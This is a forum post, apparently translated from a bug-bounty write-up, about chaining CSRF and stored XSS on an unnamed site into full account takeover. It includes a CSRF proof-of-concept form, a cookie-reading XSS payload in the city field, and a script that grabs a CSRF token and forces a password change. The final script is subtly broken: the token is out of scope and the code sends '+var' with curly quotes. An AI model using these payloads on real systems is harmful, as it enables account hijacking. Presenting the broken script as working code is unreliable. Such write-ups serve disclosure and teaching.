|
bag0zathev2 HACK学习呀 2023-05-16 09:58 发表于日本
CSRF + 存储型 XSS 导致完全帐户接管
这篇文章是关于我在 hackerone 的 priv8 程序中发现的,我能够找到:
- 1. CSRF
- 2. XSS
- 3. XSS + CSRF = Account Takeover
复制代码 我们首先将受影响的站点称为:目标网站
起初我开始打开网站并注册一个新用户并在这里和那里测试一些功能,然后是对我来说最重要和最有趣的部分之一,是“帐户信息/设置”部分的时候
首先我开始检查一些细节的变化并检查请求,然后我注意到没有标题控制任何东西或 CSRF 令牌或任何安全级别!
我很快生成了一个 CSRF PoC 并对其进行了测试:
- <html>
- <!-- CSRF PoC - generated by Burp Suite Professional -->
- <body>
- <script>history.pushState('', '', '/')</script>
- <form action="https://www.target.com/?controller=account-service&action=update" method="POST">
- <input type="hidden" name="first_name" value="sir" />
- <input type="hidden" name="last_name" value="bugs" />
- <input type="hidden" name="organization" value="" />
- <input type="hidden" name="phone" value="" />
- <input type="hidden" name="address_line_1" value="" />
- <input type="hidden" name="address_line_2" value="" />
- <input type="hidden" name="city" value="mango" />
- <input type="hidden" name="zip" value="" />
- <input type="hidden" name="country" value="US" />
- <input type="hidden" name="state_province" value="Other" />
- <input type="submit" value="Submit request" />
- </form>
- </body>
- </html>
复制代码 然后得到了一个CSRF漏洞
现在我开始尝试更改密码!我真的很高兴,因为我没有看到对当前密码的任何要求!!
它只是需要密码+确认密码
我也尝试使用我的 CSRF 来更改密码!
更改密码请求中使用了一个 csrf 令牌。
开始测试其他输入并尝试获得 XSS
然后在这里,我注意到一些奇怪的东西,当我尝试但是输入中的“'()<>和其他字符时!但那是什么?在我将城市设置为:**mango”'>**
我注意到以下内容!
我尝试将城市设置为:mango”><script>alert(document.cookie)</script> 太好了,没有任何编码保护请求。
最后得到了一个 CSRF的XSS
我创建了一个 js 代码并将其上传到我的网站,然后使用 mango”> 作为payload
该js文件包含什么?
- <script>var req = new XMLHttpRequest();
- req.onload = handleResponse;
- req.open(‘get’,’/account-details’,true);
- req.send();
- function handleResponse() {
- var token = this.responseText.match(/name=”csrf-passwd” value=”(\w+)”/)[1];
- };
- var http = new XMLHttpRequest();
- http.open("POST", "/change-password", true);
- http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- http.onreadystatechange = function() {
- if (this.readyState == 4 && this.status == 200) {
- document.getElementById("content").innerHTML = this.responseText;
- }
- };
- http.send("password=123123&confirm_password=123123&csrf_token="+var);
- </script>
复制代码 我现在可以使用CSRF+XSS漏洞完全控制帐户。
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|